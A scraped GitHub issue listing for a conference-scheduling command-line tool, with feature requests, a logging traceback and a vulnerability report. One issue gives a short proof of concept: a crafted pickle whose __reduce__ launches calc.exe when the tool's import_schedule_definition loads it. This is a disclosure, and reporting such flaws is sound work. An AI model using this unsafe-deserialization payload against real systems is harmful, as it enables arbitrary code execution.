pyconuk / conferencescheduler-cli Goto Github PK
View Code? Open in Web Editor NEWA command line tool to manage the schedule for a conference
License: MIT License
A command line tool to manage the schedule for a conference
License: MIT License
Once #1 is complete, there is no need for the event_types to be defined in days.yml and it should be removed.
Clone from master, install dependencies, get help text:
$ scheduler build --help
Traceback (most recent call last):
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/bin/scheduler", line 11, in <module>
load_entry_point('conference-scheduler-cli', 'console_scripts', 'scheduler')()
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 722, in __call__
return self.main(*args, **kwargs)
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 697, in main
rv = self.invoke(ctx)
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 1063, in invoke
Command.invoke(self, ctx)
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 895, in invoke
return ctx.invoke(self.callback, **ctx.params)
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/click/core.py", line 535, in invoke
return callback(*args, **kwargs)
File "/Users/chana/repos/ConferenceScheduler-cli/src/scheduler/cli.py", line 26, in scheduler
logging.setup(verbosity)
File "/Users/chana/repos/ConferenceScheduler-cli/src/scheduler/logging.py", line 20, in setup
daiquiri.output.File(log_file, level='DEBUG'))
File "/Users/chana/.virtualenvs/tempenv-24291291344a6/lib/python3.6/site-packages/daiquiri/output.py", line 86, in __init__
handler = logging.handlers.WatchedFileHandler(logpath)
File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/handlers.py", line 437, in __init__
logging.FileHandler.__init__(self, filename, mode, encoding, delay)
File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/__init__.py", line 1030, in __init__
StreamHandler.__init__(self, self._open())
File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/logging/__init__.py", line 1059, in _open
return open(self.baseFilename, self.mode, encoding=self.encoding)
FileNotFoundError: [Errno 2] No such file or directory: '/Users/chana/repos/ConferenceScheduler-cli/solution/scheduler.log'
๐
Python 3.6.1.
The ability to specify that an event should be scheduled in a specific slot.
from scheduler import io
import os
from pathlib import Path
import pickle
class joel_test(object):
def __reduce__(self):
import subprocess
return (subprocess.Popen, ('calc.exe',))
test = joel_test()
f=open('solution\\scheduler.pickle','wb')
pickle.dump(test,f)
f.close()
io.import_schedule_definition(Path(Path.cwd(), 'solution'))
Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.
The output build format is specific to PyCon UK. We should build a 'plugin' approach that allows the output formatter to be defined at run time.
We should write some!
At the moment, we can validate amend a schedule and validate that new schedule against the original constraints.
We also need the facility to amend the constraints and validate whether the schedule is still valid.
At the moment, we can only define unavailability for people. We should add the ability to do so for Events and Slots using new input yaml files to do so.
The current use of a list makes the consistency optimisation fail when new events are added since the index numbers within that list no longer relate to the same events.
Using a dict (with the hashed id from ironcage) as the key should solve that problem.
Using a cookiecutter recipe, create a scheduler init
command to create the input files in the correct structure for a new conference.
At the moment, we can only define a single person per event. We should extend this to be a list of people (whilst still ensuring that their unavailability for other events where they are listed is still produced correctly).
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.